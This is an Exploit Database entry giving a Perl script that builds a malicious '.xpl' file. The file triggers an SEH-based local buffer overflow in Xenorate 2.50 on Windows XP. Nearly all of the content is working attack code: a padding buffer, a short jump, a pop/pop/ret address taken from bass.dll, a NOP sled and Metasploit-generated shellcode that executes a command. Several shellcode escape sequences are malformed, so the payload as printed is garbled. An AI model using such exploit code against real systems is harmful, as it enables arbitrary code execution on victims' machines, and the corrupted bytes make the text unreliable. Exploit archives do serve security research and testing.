



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Xenorate 2.50 - '.xpl' Universal Local Buffer Overflow (SEH) (1)

EDB-ID:

10371

CVE:

EDB Verified: 

Author:

[GERMAYA_X](#)

Type:

[LOCAL](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2009-12-10

Vulnerable App: 



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
#!/usr/bin/perl
=gnk
```

```
=====
          / \   | |   | |   / \   | |   | |
         /  \  | |   | |   /  \  | |   | |
        /___\ | |___| |___ /___\ | |___| |___
IN THE NAME OF / /   \ \ | |___| |___ / /   \ \ | |___| |___
=====
```

```
Xenorate 2.50(.xpl) universal Local Buffer Overflow Exploit (SEH)
=====
```

```
[^] Exploited by:.....[   germaya_x   ].....
    [^] Script:.....[   Xenorate   ].....
].....
    [^] version:.....[   2.5.0.0   ].....
].....
    [^] Today:.....[   05/10/2009   ].....
    [^] platform.....[   Windows   ].....
].....
    [^] tested on:.....[   Windows XP SP2   ].....
].....
    [^] greetz:.....[   his0k4/D3v!LFUCK3R   ].....
].....
=====
```

```
=cut
```

```
#####
my $bof="\x41" x 88;
my $next_seh="\xEB\x06\x90\x90";#short jmp
my $SEH="\xFD\xA4\x00\x10";#p/p/r--->bass.dll
my $nop="\x90" x 20;
# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub
http://metasploit.com
my $Shcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08" .
"\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7" .
"\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8xcb" .
"\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f" .
"\x09\x5b\xc8\x76\x33xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98xc8\xe4" .
"\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6" .
"\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09" .
"\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea" .
"\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86" .
"\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";
#####
open(myfile,'>> germaya_x.xpl');
print myfile $bof.$next_seh.$SEH.$nop.$Shcode;
#####
```

Tags:

Advisory/Source: [Link](#)

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

- [Databases ▾](#)
- [Links ▾](#)
- [Sites ▾](#)
- [Solutions ▾](#)



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.